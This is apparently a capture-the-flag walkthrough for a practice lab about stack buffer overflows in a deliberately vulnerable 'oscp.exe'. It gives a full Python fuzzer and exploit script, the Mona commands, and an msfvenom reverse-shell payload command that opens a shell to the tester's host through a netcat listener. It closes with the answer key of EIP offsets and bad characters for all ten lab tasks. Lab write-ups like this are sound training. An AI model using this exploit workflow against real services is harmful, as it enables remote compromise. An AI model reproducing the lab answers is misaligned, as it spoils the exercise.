Buffer Overflow
Practice stack based buffer overflows! (link to the walkthrough below)
We will use the Immunity Debugger with the Mona.py
script
Environment
Steps
Mona Configuration
We need to open Immunity Debugger, open a binary (oscp.exe) and set a working directory with Mona.py script inside:
!mona config -set workingfolder c:\mona\%p
Fuzzing
Don't forget to re-run the binary everytime before you run theexploit.py
script
Create the Fuzzing script:
#!/usr/bin/env python3 ##### fuzzer.py script ##### import socket, time, sys ip = "TARGET_IP" port = 1337 # port where the Immunity Debugger listen timeout = 5 prefix = "OVERFLOW1 " # name of the binary string = prefix + "A" * 100 while True: try: with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s: s.settimeout(timeout) s.connect((ip, port)) s.recv(1024) print("Fuzzing with {} bytes".format(len(string) - len(prefix))) s.send(bytes(string, "latin-1")) s.recv(1024) except: print("Fuzzing crashed at {} bytes".format(len(string) - len(prefix))) sys.exit(0) string += 100 * "A" time.sleep(1)
Run the
fuzzer.py
script using python:python3 fuzzer.py
. The fuzzer will send increasingly long strings comprised of As. If the fuzzer crashes the server with one of the strings, the fuzzer should exit with an error messageMake a note of the largest number of bytes that were sent
Crash Replication & Controlling EIP
Create another script to perform a Crash Replication & Controlling EIP:
##### exploit.py script ##### import socket ip = "TARGET_IP" port = 1337 prefix = "OVERFLOW1 " offset = 0 overflow = "A" * offset retn = "" padding = "" payload = "" postfix = "" buffer = prefix + overflow + retn + padding + payload + postfix s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) try: s.connect((ip, port)) print("Sending evil buffer...") s.send(bytes(buffer + "\r\n", "latin-1")) print("Done!") except: print("Could not connect.")
Generate the
payload
value with/opt/tools/metasploit-framework/tools/exploit/pattern_create.rb -l <largest nb bytes + 400 bytes>
Run the
exploit.py
Run
!mona findmsp -distance <largest nb bytes + 400 bytes>
inside the input box of Immunity DebuggerGet the
offset
value from the log data of Mona inside this lineEIP contains normal pattern : ... (offset XXXX)
and update theoffset
variable of theexploit.py
script.Set the
retn
variable toBBBB
Restart
oscp.exe
in Immunity and run the modifiedexploit.py
script again. The EIP register should now be overwritten with the 4 B's (e.g. 42424242).
Breakdown of the !mona findmsp -distance 600
command 🤔:
!mona findmsp -distance 600
command 🤔: !mona
: This tells Immunity Debugger to execute a Mona.py command. The plugin is invoked using!mona
.findmsp
: This is a Mona.py feature that searches for MSP (Module Stack Pointer) or Metasploit Pattern. It looks for specific patterns that are used during the process of detecting buffer overflow conditions.In a buffer overflow exploit, attackers need to find out where the "Saved Return Pointer" (EIP) is overwritten.
findmsp
helps locate the offset at which the saved return pointer is corrupted in the crash.
-distance 600
: This specifies the maximum distance (600 bytes in this case) to search from the start of the buffer to the point where the buffer overflow might occur. Essentially, it tells Mona.py to look for the pattern within 600 bytes of the buffer's input to locate the exact offset of the crash.
Finding Bad Characters
Let the retn
variable with "BBBB" during this step
Generate a bytearray using
!mona bytearray -b "\x00"
. The location should beC:\mona\oscp\bytearray.bin
(depends on your working directory). It will be useful to compare what is in the memory to the generated listGenerate a string of bad characters from
\x01
to\xff
with this script:for x in range(1, 256): print("\\x" + "{:02x}".format(x), end='') print()
Set the
payload
variable to the string of bad chars the script generatesRestart
oscp.exe
in Immunity and run the modifiedexploit.py
script againMake a note of the address to which the ESP register points and use it in the following mona command:
!mona compare -f C:\mona\oscp\bytearray.bin -a <address>
A window ("mona Memory comparison results") shows the results of the comparison, indicating any characters that are different in memory to what they are in the generated
bytearray.bin
fileMake a note of the badchars
Generate a new bytearray in mona, specifying these new badchars along with
\x00
Update the
payload
variable in yourexploit.py
script and ⚠️ remove the new badchars as well ⚠️Repeat all the steps until the results status returns "Unmodified"
Finding a Jump Point
⭐ In our case, the goal si to find a JMP ESP
address instruction and overwrite it to the EIP
Run this command
!mona jmp -r esp -cpb "\x00"
to find automate the search ofJMP ESP
instructions with the-cpb
option with all the badchars you identified.Choose an address from the "Log data" window and update your
exploit.py
script, setting theretn
variable to the address, written backwards
Generate Payload
Run the following msfvenom command:
# -b option with all the badchars you identified (including \x00)
msfvenom -p windows/shell_reverse_tcp LHOST=YOUR_IP LPORT=4444 EXITFUNC=thread -b "\x00" -f c
Copy the generated C code strings and integrate them into your
exploit.py
scriptpayload
variable using the following notation:payload = ("\xfc\xbb\xa1\x8a\x96\xa2\xeb\x0c\x5e\x56\x31\x1e\xad\x01\xc3" "\x85\xc0\x75\xf7\xc3\xe8\xef\xff\xff\xff\x5d\x62\x14\xa2\x9d" ... "\xf7\x04\x44\x8d\x88\xf2\x54\xe4\x8d\xbf\xd2\x15\xfc\xd0\xb6" "\x19\x53\xd0\x92\x19\x53\x2e\x1d")
Prepend NOPs
Why Prepend NOPs?
Prepending NOPs to your shellcode is a simple yet powerful technique to:
Increase the likelihood of successful execution by creating a "landing zone."
Handle minor inaccuracies in the jump address or offsets.
Avoid stack alignment issues or conflicts with bad characters.
Provide space for shellcode decoders and other exploit elements.
Set the
padding
variable to a string of 16 or more "No Operation" (\x90
) bytes:padding = "\x90" * 16
Exploit ❗
With the correct prefix
, offset
, return address
, padding
, and payload
set, you can now exploit the buffer overflow to get a reverse shell.
Start a netcat listener
Restart
oscp.exe
in Immunity and run the modifiedexploit.py
script again. Your netcat listener should catch a reverse shell!

oscp.exe - OVERFLOW1
Answer the questions below:
What is the EIP offset for OVERFLOW1?
2400 bytes (fuzzer)
EIP offset: 1978
In byte order (e.g. \x00\x01\x02) and including the null byte \x00, what were the badchars for OVERFLOW1?
badchars = "\x00\x07\x08\x2e\x2f\xa0\xa1"
oscp.exe - OVERFLOW2
Answer the questions below:
What is the EIP offset for OVERFLOW2?
1100 bytes (fuzzer)
EIP offset: 634
In byte order (e.g. \x00\x01\x02) and including the null byte \x00, what were the badchars for OVERFLOW2?
badchars = "\x00\x23\x3c\x83\xba"
oscp.exe - OVERFLOW3
Answer the questions below:
What is the EIP offset for OVERFLOW3?
1700 bytes (fuzzer)
EIP offset: 1274
In byte order (e.g. \x00\x01\x02) and including the null byte \x00, what were the badchars for OVERFLOW3?
badchars = "\x00\x11\x40\x5F\xb8\xee"
oscp.exe - OVERFLOW4
Answer the questions below:
What is the EIP offset for OVERFLOW4?
2500 bytes (fuzzer)
EIP offset: 2026
In byte order (e.g. \x00\x01\x02) and including the null byte \x00, what were the badchars for OVERFLOW4?
badchars = "\x00\xa9\xcd\xd4"
oscp.exe - OVERFLOW5
Answer the questions below:
What is the EIP offset for OVERFLOW5?
800 bytes (fuzzer)
EIP offset: 314
In byte order (e.g. \x00\x01\x02) and including the null byte \x00, what were the badchars for OVERFLOW5?
badchars = "\x00\x16\x2f\xf4\xfd"
oscp.exe - OVERFLOW6
Answer the questions below:
What is the EIP offset for OVERFLOW6?
1500 bytes (fuzzer)
EIP offset: 1034
In byte order (e.g. \x00\x01\x02) and including the null byte \x00, what were the badchars for OVERFLOW6?
badchars = "\x00\x08\x2c\xad"
oscp.exe - OVERFLOW7
Answer the questions below:
What is the EIP offset for OVERFLOW7?
1800 bytes (fuzzer)
EIP offset: 1306
In byte order (e.g. \x00\x01\x02) and including the null byte \x00, what were the badchars for OVERFLOW7?
badchars = "\x00\x8c\xae\xbe\xfb"
oscp.exe - OVERFLOW8
Answer the questions below:
What is the EIP offset for OVERFLOW8?
2200 bytes (fuzzer)
EIP offset: 1786
In byte order (e.g. \x00\x01\x02) and including the null byte \x00, what were the badchars for OVERFLOW8?
badchars = "\x00\x1d\x2e\xc7\xee"
oscp.exe - OVERFLOW9
Answer the questions below:
What is the EIP offset for OVERFLOW9?
2000 bytes (fuzzer)
EIP offset: 1514
In byte order (e.g. \x00\x01\x02) and including the null byte \x00, what were the badchars for OVERFLOW9?
badchars = "\x00\x04\x3e\x3f\xe1"
oscp.exe - OVERFLOW10
Answer the questions below:
What is the EIP offset for OVERFLOW10?
1000 bytes (fuzzer)
EIP offset: 537
In byte order (e.g. \x00\x01\x02) and including the null byte \x00, what were the badchars for OVERFLOW10?
badchars = "\x00\xa0\xad\xbe\xde\xef"
Last updated